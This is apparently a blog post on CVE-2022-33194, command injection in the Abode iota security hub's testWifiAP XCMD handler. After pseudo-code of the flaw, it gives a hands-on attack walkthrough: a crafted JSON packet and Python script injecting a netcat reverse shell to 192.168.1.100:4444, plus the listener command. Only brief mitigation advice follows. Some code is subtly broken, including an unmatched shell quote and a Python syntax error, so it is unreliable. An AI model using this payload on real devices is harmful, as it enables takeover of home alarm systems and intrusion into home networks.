CVE-2022-33194 - Four OS Command Injection Bugs in Abode iota Security Kit (6.9X/6.9Z) — Deep Dive and Exploit Walkthrough

In late 2022, a set of four serious OS command injection vulnerabilities (CVE-2022-33194) were discovered in Abode Systems’ iota All-In-One Security Kit firmware versions 6.9X and 6.9Z. Attackers who exploit these bugs can run arbitrary shell commands on the device — potentially taking full control. In this post, we’ll break down how these vulnerabilities happen (focusing on one: unsafe use of WL_Key and WL_DefaultKeyID), illustrate it with code, and show how a real-world attacker could exploit the flaws.

This analysis is exclusive — we’ll keep it straightforward and hands-on.

The Problem: Command Injection in testWifiAP XCMD

The Abode iota security hub is a smart alarm system packed with sensors, talk-back alarms, and Wi-Fi access. Within its firmware, the "XCMD" interface is used to send control/configuration commands over the local network.

At the heart of this bug is the testWifiAP XCMD handler, which processes and passes user-supplied configuration data (including Wi-Fi keys) directly into OS shell commands, without sanitization.

In firmware 6.9Z, this dangerous behavior happens at function offset x1c7d28, specifically the command execution at x1c7f6c.

Let's look at a simplified version of the vulnerable logic (firmware decompilation)

// testWifiAP handler (pseudo-code)
char wl_key[256];
char wl_defaultKeyId[16];

strcpy(wl_key, xcmd_get_value("WL_Key"));                // <-- from XCMD packet
strcpy(wl_defaultKeyId, xcmd_get_value("WL_DefaultKeyID"));

char cmd[512];
snprintf(cmd, sizeof(cmd),
         "iwconfig wlan key %s keyid %s",
         wl_key, wl_defaultKeyId);

system(cmd); // <-- DANGER: Unchecked input!

No validation. So what if a malicious user sends this as the WL_Key

"mysecret' ; reboot #"

The shell would see

iwconfig wlan key mysecret'; reboot # keyid 1

Which splits the command and executes a reboot!

Exploitation Example

Here’s how an attacker could use this bug in real life.

Step 1: Send Malicious XCMD Packet

Suppose you can talk to the iota device on the network (used by mobile app/local integration). The attacker crafts an XCMD packet like:

{
  "XCMD": "testWifiAP",
  "WL_Key": "validpass'; nc 192.168.1.100 4444 -e /bin/sh #",
  "WL_DefaultKeyID": "1"
}

If you use Python to send this HTTP request (assuming JSON API over local port 80 or 443)

import requests

payload = {
    "XCMD": "testWifiAP",
    "WL_Key": "validpass'; nc 192.168.1.100 4444 -e /bin/sh #",
    "WL_DefaultKeyID": "1"
}
requests.post("http://device-ip/XCMD";, json=payload)

Start a netcat listener on your attack box

nc -lvnp 4444

When the device processes the XCMD request, it runs

iwconfig wlan key validpass'; nc 192.168.1.100 4444 -e /bin/sh # keyid 1

Result: nc connects back, and you have a remote shell as root or privileged user, depending on how system() runs.

Why This Is Bad

- Full Device Takeover: Arbitrary code can be run, modifying firmware, disabling alarms, pivoting to home network

No Authentication Required: If XCMD is exposed, anyone can exploit it

- No Logging/Evidence: Couple packets and your home security system is owned


## Mitigation / How To Fix

Never pipe user input into shell; use API or properly escaped arguments only

- Patch firmware — contact vendor

References

- CVE-2022-33194 - NIST NVD
- Original Disclosure by Cisco Talos
- Abode Systems Product
- Common OS Command Injection Vectors

Final Words

The bottom line? If your home or business uses Abode iota, make sure your firmware is up-to-date, firewall your devices, and never expose internal interfaces to the public internet. XCMD’s simple command interface made security an afterthought — attackers can turn your own alarm system against you with a single API call.

Timeline

Published on: 10/25/2022 17:15:00 UTC
Last modified on: 10/26/2022 18:52:00 UTC